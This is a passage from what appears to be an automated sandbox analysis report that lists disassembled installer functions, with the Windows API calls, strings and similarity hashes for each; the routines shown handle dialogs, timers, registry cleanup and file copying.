Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0000E000,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.2211259350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2211240254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211289711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211311941.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2211425182.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ldqj18tn.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
